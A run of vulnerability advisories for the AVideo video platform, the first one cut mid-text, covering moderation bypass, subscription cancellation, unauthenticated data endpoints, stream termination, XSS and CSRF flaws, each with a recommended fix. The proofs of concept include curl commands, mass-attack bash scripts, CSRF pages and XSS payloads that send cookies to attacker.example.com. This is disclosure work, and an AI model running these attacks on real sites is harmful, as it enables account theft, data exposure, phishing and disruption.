This code is reached from two entry points: - objects/videoAddNew.json.php:157 - when adding a new video - objects/aVideoEncoder.json.php:114 - when processing an encoded video
The setStatus() method validates that the provided status code is one of the recognized values (a, k, i, h, e, x, d, t, u, s, r, f, b, p, c) but does not perform any authorization check. It does not verify whether the calling user has permission to set a video to the requested status.
The relevant status codes include: - a - Active (published and publicly visible) - k - Draft (pending review) - i - Inactive - e - Encoding - x - Deleted - u - Unlisted
When an admin configures the platform to require moderation (new videos default to draft/pending status), any uploader can bypass this by including overrideStatus=a in their upload request.
Proof of Concept
1. Assume the AVideo instance has moderation enabled (new videos default to draft status k).
2. Upload a video as a regular user, including the overrideStatus parameter:
bash curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -F "title=Bypassed Moderation" \ -F "description=This video skips the review queue" \ -F "videoLink=https://example.com/video.mp4" \ -F "overrideStatus=a"
3. The video is immediately set to active status and is publicly visible, bypassing the admin moderation workflow.
4. Verify the video is publicly accessible:
bash curl -s "https://your-avideo-instance.com/video/VIDEOCLEANTITLE" | grep -o "<title>.</title>"
5. An uploader can also use this to set other statuses:
bash Set a video to "unlisted" even if the platform restricts this curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -F "title=Unlisted Video" \ -F "videoLink=https://example.com/video.mp4" \ -F "overrideStatus=u"
Impact
Any user with upload permissions can bypass content moderation by setting videos directly to active status. This undermines the platform's ability to enforce content policies, review uploads before publication, or maintain a moderation queue. On platforms that rely on moderation for legal compliance (e.g., DMCA, age-gated content), this bypass could have regulatory consequences. The same mechanism also allows uploaders to set arbitrary statuses like "unlisted" or "inactive" on their own videos, bypassing platform-level restrictions on these features.
- CWE-285: Improper Authorization - Severity: Medium
Recommended Fix
Add an authorization check before applying the overrideStatus parameter at objects/video.php:1055:
php // objects/video.php:1055 if (!empty($REQUEST['overrideStatus']) && (User::isAdmin() || Permissions::canAdminVideos())) { return $this->setStatus($REQUEST['overrideStatus']); }
This ensures that only administrators or users with video management permissions can override the video publishing status. Regular uploaders will follow the normal moderation workflow.
--- Found by aisafe.io
Summary
The StripeYPT plugin includes a test.php debug endpoint that is accessible to any logged-in user, not just administrators. This endpoint processes Stripe webhook-style payloads and triggers subscription operations, including cancellation. Due to a bug in the retrieveSubscriptions() method that cancels subscriptions instead of merely retrieving them, any authenticated user can cancel arbitrary Stripe subscriptions by providing a subscription ID.
Details
At plugin/StripeYPT/test.php:4, the endpoint checks only for a logged-in user, not for admin privileges:
php if (!User::isLogged())
At lines 27-29, the endpoint accepts a JSON payload from the request and processes it through the Stripe metadata handler:
php $obj = StripeYPT::getMetadataOrFromSubscription(jsondecode($REQUEST['payload']));
The call chain proceeds as follows: - test.php calls getMetadataOrFromSubscription() - Which calls getSubscriptionId() to extract the subscription ID - Which calls retrieveSubscriptions() to interact with the Stripe API
At StripeYPT.php:933, the retrieveSubscriptions() method contains a critical bug where it cancels the subscription instead of just retrieving it:
php $response = $sub->cancel();
This same bug also affects the production webhook processing path via processSubscriptionIPN(), meaning both the debug endpoint and the live webhook handler can trigger unintended cancellations.
Proof of Concept
1. Log in as any regular (non-admin) user and obtain a session cookie.
2. Send a crafted payload to the test endpoint with a target subscription ID:
bash curl -b "PHPSESSID=USERSESSION" \ "https://your-avideo-instance.com/plugin/StripeYPT/test.php" \ -d 'payload={"data":{"object":{"id":"subTARGETSUBSCRIPTIONID","customer":"cusCUSTOMERID"}}}'
3. The endpoint processes the payload, calls retrieveSubscriptions(), and the subscription is cancelled via the Stripe API.
4. To enumerate subscription IDs, check if the application exposes them through other endpoints or use predictable patterns:
bash Check user subscription details if accessible curl -b "PHPSESSID=USERSESSION" \ "https://your-avideo-instance.com/plugin/StripeYPT/listSubscriptions.php"
5. The Stripe subscription is now cancelled. The affected user loses access to their paid features.
Impact
Any logged-in user can cancel arbitrary Stripe subscriptions belonging to other users. This causes direct financial damage to the platform operator (lost subscription revenue) and service disruption for paying subscribers who lose access to premium features. The debug endpoint should have been removed from production or restricted to admin-only access, and the retrieveSubscriptions() method should retrieve rather than cancel subscriptions.
- CWE-862: Missing Authorization - Severity: Medium
Recommended Fix
Two changes are needed:
1. Restrict the debug endpoint to admins at plugin/StripeYPT/test.php:4:
php // plugin/StripeYPT/test.php:4 if (!User::isAdmin())
Change User::isLogged() to User::isAdmin() so only administrators can access the debug endpoint.
2. Fix the retrieval bug at StripeYPT.php:933:
Remove the $sub->cancel() call from retrieveSubscriptions() so that the function only retrieves subscription data without cancelling it:
php // StripeYPT.php:933 - remove the following line: // $response = $sub->cancel();
The retrieveSubscriptions() method should retrieve subscription information, not cancel subscriptions as a side effect.
--- Found by aisafe.io
Summary
The AVideo installation script install/deleteSystemdPrivate.php contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition !phpsapiname() === 'cli' never evaluates to true due to how PHP resolves operator precedence. The ! (logical NOT) operator binds more tightly than === (strict comparison), causing the expression to always evaluate to false, which means the die() statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response.
Details
The faulty guard is at lines 2-4 of the script:
php // install/deleteSystemdPrivate.php:2-4 if (!phpsapiname() === 'cli') { die('Command Line only'); }
Due to PHP operator precedence, this expression is parsed as:
php if ((!phpsapiname()) === 'cli') {
Step-by-step evaluation when accessed via HTTP (Apache/nginx with modphp or php-fpm):
1. phpsapiname() returns "apache2handler" (or "fpm-fcgi", etc.) - a non-empty string 2. !phpsapiname() applies logical NOT to a truthy string, yielding false 3. false === 'cli' is a strict comparison between a boolean and a string, which is always false 4. The if body (die()) is never entered
The correct code should be:
php if (phpsapiname() !== 'cli') { die('Command Line only'); }
After the bypassed guard, the script enumerates and deletes aged files from the system temp directory:
php $glob = glob(sysgettempdir() . "/"); // ... foreach ($glob as $file) { if (filemtime($file) < $onedayago) { unlink($file); // Deletes the file } }
The script also outputs the total number of items found and details about processed files, leaking information about the temp directory contents.
Confirmed on a live instance: an unauthenticated HTTP GET request returned HTTP 200 with the response body including "Found total of 91 items", confirming the guard bypass and information disclosure.
Proof of Concept
Step 1: Verify the endpoint is accessible without authentication:
bash curl -v "https://your-avideo-instance.com/install/deleteSystemdPrivate.php"
Expected response (HTTP 200):
Found total of 91 items Processing /tmp/phpXXXXXX ... Deleted: /tmp/oldsessionfile ...
If the guard were working correctly, the response would be:
Command Line only
Step 2: Demonstrate the PHP operator precedence bug locally:
php <?php // Simulates the bug $sapi = 'apache2handler'; // non-CLI SAPI
// Buggy check (as written in deleteSystemdPrivate.php) vardump(!$sapi === 'cli'); // Output: bool(false) - guard never triggers
// Correct check vardump($sapi !== 'cli'); // Output: bool(true) - guard would trigger correctly ?>
Step 3: Monitor the effect by checking before and after:
bash Check initial state curl -s "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" | head -1 Output: "Found total of 91 items"
Wait and check again - files older than 24 hours will have been deleted curl -s "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" | head -1 Output: "Found total of 47 items" (fewer items after deletion)
Impact
An unauthenticated attacker can trigger deletion of files in the server's system temp directory by simply sending an HTTP request to this endpoint. The impact includes:
- File deletion: Any files in the temp directory older than 24 hours are deleted. This can disrupt server operations by removing PHP session files, upload temp files, cache files, or files used by other applications sharing the same temp directory. - Information disclosure: The script's output reveals the full path of the temp directory and enumerates its contents, including file names and counts. This can expose internal server paths, session file names, and the presence of other applications. - Denial of service: Repeated requests can be used to continuously purge temp files, interfering with file uploads, session management, and other temp-dependent operations.
The root cause is a common PHP pitfall where the logical NOT operator (!) has higher precedence than strict comparison (===), causing the intended CLI-only guard to be completely ineffective.
- CWE-284: Improper Access Control - Severity: Medium
Recommended Fix
Fix the operator precedence bug at install/deleteSystemdPrivate.php:2 by replacing the negation with the !== operator:
php // install/deleteSystemdPrivate.php:2 // Before (broken - always evaluates to false): if (!phpsapiname() === 'cli') {
// After (correct): if (phpsapiname() !== 'cli') {
--- Found by aisafe.io
Summary
The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.
Details
The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:
php // CreatePlugin/templates/add.json.php:12 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
// CreatePlugin/templates/delete.json.php:11 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
// CreatePlugin/templates/list.json.php // NO authentication check - accessible to anyone
This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.
Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:
GET /plugin/Meet/View/Meetjoinlog/list.json.php HTTP/1.1
Response (HTTP 200):
json { "data": [ { "id": 1, "usersid": 42, "ip": "REDACTED", "useragent": "Mozilla/5.0 ...", "created": "2025-01-15 14:32:00", "roomname": "private-meeting-xyz" } ] }
The 21 affected endpoints generated from this template include:
| Endpoint | Exposed Data | |----------|-------------| | plugin/Meet/View/Meetjoinlog/list.json.php | User IDs, IP addresses, user agents, timestamps, room names | | plugin/PayPalYPT/View/PayPalYPTlog/list.json.php | PayPal transaction logs, payment amounts, buyer info | | plugin/AuthorizeNet/View/Anetwebhooklog/list.json.php | Payment webhook data, transaction details | | plugin/CustomizeUser/View/Usersextrainfo/list.json.php | Extended user profile data, PII fields | | plugin/UserNotifications/View/Usernotifications/list.json.php | User notification records, activity patterns | | plugin/UserConnections/View/Usersconnections/list.json.php | Social connection graphs between users | | And 15+ additional plugin endpoints | Various internal records |
Proof of Concept
Step 1: Enumerate accessible list endpoints (no authentication required):
bash #!/bin/bash TARGET="https://your-avideo-instance.com"
ENDPOINTS=( "plugin/Meet/View/Meetjoinlog/list.json.php" "plugin/PayPalYPT/View/PayPalYPTlog/list.json.php" "plugin/AuthorizeNet/View/Anetwebhooklog/list.json.php" "plugin/CustomizeUser/View/Usersextrainfo/list.json.php" "plugin/UserNotifications/View/Usernotifications/list.json.php" "plugin/UserConnections/View/Usersconnections/list.json.php" )
for endpoint in "${ENDPOINTS[@]}"; do echo "=== $endpoint ===" HTTPCODE=$(curl -s -o /tmp/avi037response.json -w "%{httpcode}" "$TARGET/$endpoint") echo "Status: $HTTPCODE" if [ "$HTTPCODE" = "200" ]; then echo "VULNERABLE - Data returned:" python3 -m json.tool /tmp/avi037response.json 2>/dev/null | head -20 fi echo "" done
Step 2: Retrieve paginated results from a specific endpoint:
bash Fetch meeting join logs with pagination curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meetjoinlog/list.json.php?length=100&start=0" \ | python3 -m json.tool
Fetch payment logs curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPTlog/list.json.php?length=100&start=0" \ | python3 -m json.tool
Step 3: Discover additional vulnerable endpoints by scanning plugin directories:
bash curl -s "https://your-avideo-instance.com/plugin/" \ | grep -oP 'href="([^"]+)/"' \ | while read plugin; do PLUGINNAME=$(echo "$plugin" | grep -oP '"([^"]+)/"' | tr -d '"/') URL="$TARGET/plugin/$PLUGINNAME/View/" curl -s "$URL" | grep -oP 'href="([^"]+)/"' | while read view; do VIEWNAME=$(echo "$view" | grep -oP '"([^"]+)/"' | tr -d '"/') LISTURL="$TARGET/plugin/$PLUGINNAME/View/$VIEWNAME/list.json.php" CODE=$(curl -s -o /dev/null -w "%{httpcode}" "$LISTURL") [ "$CODE" = "200" ] && echo "FOUND: $LISTURL" done done
Impact
21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:
- User PII: Extended profile information, email addresses, user IDs - Payment data: PayPal and Authorize.Net transaction logs, payment amounts, buyer details - Access logs: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs - Social graphs: User connection and relationship data - Activity records: Notification history revealing user behavior patterns
This is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.
- CWE-306: Missing Authentication for Critical Function - Severity: Medium
Recommended Fix
Add an admin authentication check to CreatePlugin/templates/list.json.php after the require lines, matching the pattern used in add.json.php and delete.json.php:
php // CreatePlugin/templates/list.json.php (after the require lines) if (!User::isAdmin()) { die(jsonencode(['error' => true])); }
This fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated list.json.php endpoints by adding the same admin check after their require lines.
--- Found by aisafe.io
Summary
The AVideo onpublishdone.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so.
An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to onpublishdone.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform.
Details
The file plugin/Live/onpublishdone.php processes RTMP server callbacks when a stream ends. It accepts a POST parameter name (the stream key) and directly uses it to look up and terminate the corresponding stream session.
php // plugin/Live/onpublishdone.php $row = LiveTransmitionHistory::getLatest($POST['name'], $liveserversid, 10); $insertrow = LiveTransmitionHistory::finishFromTransmitionHistoryId($row['id']);
There is no authentication check anywhere in the file - no User::isLogged(), no User::isAdmin(), no token validation. The endpoint is designed to be called by the RTMP server (e.g., Nginx-RTMP), but since it is a standard HTTP endpoint, any external client can call it directly.
Additionally, stream keys can be harvested from the unauthenticated stats.json.php endpoint, which returns information about active streams including their keys.
Proof of Concept
1. Retrieve active stream keys from the unauthenticated stats endpoint:
bash curl -s "https://your-avideo-instance.com/plugin/Live/stats.json.php" | python3 -m json.tool
2. Terminate a live stream by sending a POST request with the stream key:
bash curl -X POST "https://your-avideo-instance.com/plugin/Live/onpublishdone.php" \ -d "name=STREAMKEYHERE"
3. The server responds with HTTP 200 and the stream is marked as finished in the livetransmitionshistory table. The streamer's broadcast is terminated.
4. To disrupt all active streams, iterate over keys returned from step 1:
bash #!/bin/bash Terminate all active streams on a target AVideo instance TARGET="https://your-avideo-instance.com"
curl -s "$TARGET/plugin/Live/stats.json.php" \ | python3 -c " import sys, json data = json.load(sys.stdin) for stream in data.get('applications', []): for client in stream.get('live', {}).get('streams', []): print(client.get('name', '')) " | while read -r key; do [ -z "$key" ] && continue echo "[] Terminating stream: $key" curl -s -X POST "$TARGET/plugin/Live/onpublishdone.php" -d "name=$key" done
Impact
Any unauthenticated attacker can terminate live broadcasts on an AVideo instance. This constitutes a denial-of-service vulnerability against the live streaming functionality. Combined with the unauthenticated stream key enumeration from stats.json.php, an attacker can systematically disrupt all active streams on the platform.
- CWE-306: Missing Authentication for Critical Function - Severity: Medium
Recommended Fix
Restrict the RTMP callback endpoint to localhost connections only at plugin/Live/onpublishdone.php:3:
php // plugin/Live/onpublishdone.php:3 if (!inarray($SERVER['REMOTEADDR'], ['127.0.0.1', '::1'])) { httpresponsecode(403); die('Forbidden'); }
Since this endpoint is designed to be called by the local RTMP server (e.g., Nginx-RTMP), it should only accept requests from localhost. External clients should never be able to invoke it directly.
--- Found by aisafe.io
Summary
The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.
Details
When a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:
javascript // plugin/YPTSocket/caller.js:73 userIdentification = json.fromidentification;
This value is passed directly to the jQuery Toast Plugin as the heading:
javascript // plugin/YPTSocket/caller.js:89 heading: userIdentification,
Inside the jQuery Toast Plugin, the heading is rendered as raw HTML:
javascript // nodemodules/jquery-toast-plugin/src/jquery.toast.js:60 // Constructs: '<h2>' + heading + '</h2>' // Then inserts via .html()
jQuery's .html() method parses the string as HTML and executes any script-bearing elements (such as <img onerror>, <svg onload>, etc.).
There is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted onclick attribute:
javascript // plugin/YPTSocket/caller.js:121-123 imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>'; if (isJsonReceivingCall(json)) { imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>';
JSON.stringify(json) is placed inside a single-quoted onclick attribute. If any field in json contains a single quote, it breaks the attribute boundary and allows attribute injection.
Proof of Concept
Important note on the attack vector: User::setName() at objects/user.php:2069 uses striptags(), so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the fromidentification field. A malicious WebSocket client can send any fromidentification value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.
Step 1: Connect a malicious WebSocket client and send a forged call message
The following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the fromidentification field:
javascript // Malicious WebSocket client - bypasses server-side striptags() sanitization const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() { // Send a forged call message with HTML in fromidentification const payload = { msg: 'call', fromusersid: 1, tousersid: VICTIMUSERID, fromidentification: '<img src=x onerror=alert(document.cookie)>', resourceURL: 'https://your-avideo-instance.com/meet/123' }; ws.send(JSON.stringify(payload)); console.log('Forged call message sent'); };
Step 2: When the victim receives the call notification, the toast renders fromidentification as HTML via jQuery's .html(). The <img> tag triggers the onerror handler, executing JavaScript in the victim's browser context.
More advanced payload for credential exfiltration:
javascript // Credential exfiltration via forged WebSocket call const ws = new WebSocket('wss://your-avideo-instance.com:8888'); ws.onopen = function() { ws.send(JSON.stringify({ msg: 'call', fromusersid: 1, tousersid: VICTIMUSERID, fromidentification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">', resourceURL: 'https://your-avideo-instance.com/meet/123' })); };
Reproduction steps:
1. Identify the WebSocket server address for the target AVideo instance (typically port 8888). 2. Connect a custom WebSocket client to the server. 3. Send a call message with fromidentification set to <img src=x onerror=alert(document.cookie)>. 4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded). 5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.
Impact
This is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.
Consequences include:
- Session hijacking: Steal the victim's session cookie and impersonate them. - Account takeover: If the victim is an administrator, the attacker gains full platform control. - Worm propagation: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm. - Keylogging and credential theft: Inject persistent scripts that capture keystrokes on the current page.
The attack is zero-click and can target any specific online user.
- CWE: CWE-79 (Cross-Site Scripting - DOM-based)
Recommended Fix
HTML-escape the heading value before passing it to $.toast() at plugin/YPTSocket/caller.js:89:
javascript heading: $('<span>').text(userIdentification).html(),
This uses jQuery's .text() to safely encode the user-controlled string, then extracts the escaped HTML via .html().
--- Found by aisafe.io
Summary
The AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.
Plugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.
Details
The objects/pluginSwitch.json.php endpoint checks admin status but performs no CSRF validation:
php // objects/pluginSwitch.json.php if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
$obj = new Plugin(0); $obj->loadFromUUID($POST['uuid']); $obj->setStatus($POST['status']); $obj->save();
The plugins table is explicitly excluded from the ORM security check at objects/Object.php:529:
php // objects/Object.php:529 public static function ignoreTableSecurityCheck() { return array( 'plugins', // ... other tables ); }
This means the save() call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.
Plugin UUIDs are hardcoded in each plugin's getUUID() method and are consistent across all AVideo installations. Examples:
| Plugin | UUID | |--------|------| | Gallery | a06505bf-3570-4b1f-977a-fd0e5cab205d | | LoginControl | LoginControl-5ee8405eaaa16 | | Live | e06b161c-cbd0-4c1d-a484-71018efa2f35 | | YPTWallet | 2faf2eeb-88ac-48e1-a098-37e76ae3e9f3 |
These are also exposed in frontend JavaScript:
javascript // designfirstpage.php:99 var galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';
Proof of Concept
Host the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):
html <!DOCTYPE html> <html> <head><title>AVI-031 PoC - Disable Security Plugin</title></head> <body> <h1>Loading content...</h1>
<!-- Disable LoginControl (2FA / brute force protection) --> <iframe name="f1" style="display:none"></iframe> <form id="disable1" method="POST" target="f1" action="https://your-avideo-instance.com/objects/pluginSwitch.json.php"> <input type="hidden" name="uuid" value="LoginControl-5ee8405eaaa16" /> <input type="hidden" name="status" value="inactive" /> </form>
<!-- Disable YPTWallet (subscription/payment enforcement) --> <iframe name="f2" style="display:none"></iframe> <form id="disable2" method="POST" target="f2" action="https://your-avideo-instance.com/objects/pluginSwitch.json.php"> <input type="hidden" name="uuid" value="2faf2eeb-88ac-48e1-a098-37e76ae3e9f3" /> <input type="hidden" name="status" value="inactive" /> </form>
<script> document.getElementById('disable1').submit(); document.getElementById('disable2').submit(); </script> </body> </html>
To find plugin UUIDs on a target instance:
bash UUIDs are exposed in the frontend source curl -s "https://your-avideo-instance.com/" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'
Verification with curl:
bash Disable a plugin using an admin session curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ -X POST "https://your-avideo-instance.com/objects/pluginSwitch.json.php" \ -d "uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive"
Verify the plugin is now inactive curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ "https://your-avideo-instance.com/admin/index.php" | grep -A2 "Gallery"
Impact
An attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:
- LoginControl: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts. - Subscription/PayPal/Stripe plugins: Enforce payment requirements for premium content. Disabling them grants free access to paid videos. - Access control plugins: Restrict content visibility. Disabling them exposes private or restricted videos.
The attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the SameSite=None cookie policy ensures cross-origin delivery of the admin session.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/pluginSwitch.json.php:11, after the admin check:
php // objects/pluginSwitch.json.php:11 if (!isGlobalTokenValid()) { forbiddenPage('Invalid CSRF token'); }
--- Found by aisafe.io
Summary
The AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.
The endpoint does not call save() on any ORM object, which means the Referer/Origin domain validation implemented in ObjectYPT::save() is never triggered, leaving CSRF as the only required protection - and it is absent.
Details
The endpoint performs an admin check at line 10 but has no CSRF token validation:
php // objects/emailAllUsers.json.php:10 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
The message body is taken directly from POST data at line 41:
php // objects/emailAllUsers.json.php:41 $obj->message = $POST['message'];
The message is rendered as HTML in the email at line 48:
php // objects/emailAllUsers.json.php:48 $mail->msgHTML($obj->message);
When the email POST parameter is omitted, the endpoint defaults to sending to all registered users by calling User::getAllUsers(). This means the attacker does not need to know any email addresses.
The emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.
Proof of Concept
Host the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:
html <!DOCTYPE html> <html> <head><title>AVI-038 PoC - CSRF Mass Email</title></head> <body> <h1>Please wait...</h1> <form id="massmail" method="POST" action="https://your-avideo-instance.com/objects/emailAllUsers.json.php">
<input type="hidden" name="subject" value="Important: Verify Your Account" />
<textarea name="message" style="display:none"> <h2>Account Verification Required</h2> <p>Your account requires re-verification due to a recent security update.</p> <p>Please <a href="https://attacker.example.com/phish">click here to verify</a> within 24 hours to avoid account suspension.</p> <p>Thank you,<br/>The Platform Team</p> </textarea>
<!-- Omitting 'email' parameter causes it to send to ALL users --> </form>
<script>document.getElementById('massmail').submit();</script> </body> </html>
Verification steps:
1. Set up a test AVideo instance with at least two registered user accounts. 2. Log in as an admin in one browser tab. 3. Open the attacker HTML page in another tab in the same browser. 4. Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.
Alternatively, test with curl using an admin session cookie:
bash curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ -X POST "https://your-avideo-instance.com/objects/emailAllUsers.json.php" \ -d "subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>"
Impact
An attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:
- Mass phishing campaigns targeting all platform users with highly credible emails - Credential harvesting by directing users to attacker-controlled login pages - Malware distribution via HTML email payloads - Reputation damage to the platform operator
The attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/emailAllUsers.json.php:13, after the admin check:
php // objects/emailAllUsers.json.php:13 if (!isGlobalTokenValid()) { forbiddenPage('Invalid CSRF token'); exit; }
--- Found by aisafe.io
Summary
The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.
This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.
Details
The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:
Textarea injection (line 47): php // admin/functions.php:47 $html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>"; The $valueJson->value is placed directly between textarea tags without encoding.
Select option injection (line 55): php // admin/functions.php:55 $html .= "<option value='{$key}' {$select}>{$value}</option>"; Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.
Input type and value injection (lines 62-63): php // admin/functions.php:62-63 $html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>"; Both type and value attributes are unescaped, enabling attribute injection.
Fallback input injection (line 75): php // admin/functions.php:75 $html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>"; The raw $valueJson string is placed into the value attribute without encoding.
Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.
Proof of Concept
Method 1: Direct exploitation (requires admin session)
bash Store XSS payload in a plugin configuration value The endpoint uses pluginName and direct field names as parameters curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ -X POST "https://your-avideo-instance.com/admin/save.json.php" \ -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"
When any admin visits the plugin configuration page, the payload fires.
Method 2: Cross-origin chain with CSRF (no authentication required)
Create the following HTML page and trick an admin into visiting it:
html <!DOCTYPE html> <html> <head><title>AVI-033 + AVI-046 Chain PoC</title></head> <body> <h1>Loading...</h1> <form id="xss" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="name" value="Gallery" /> <input type="hidden" name="parameter" value="description" /> <input type="hidden" name="value" value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" /> </form> <script>document.getElementById('xss').submit();</script> </body> </html>
The payload breaks out of the value attribute in the rendered input element:
html <!-- Rendered HTML in admin panel --> <input class='form-control' type='text' value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='' name='description' id='description'/>
Impact
An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:
- Steal admin session cookies and CSRF tokens - Create new admin accounts - Modify site configuration (enable file uploads, disable security features) - Inject persistent JavaScript into public-facing pages via site-wide settings - Pivot to server-side code execution via plugin upload functionality
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS) - Severity: High
Recommended Fix
Apply htmlspecialchars($value, ENTQUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:
php // admin/functions.php:47 - textarea content $html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENTQUOTES, 'UTF-8') . "</textarea>";
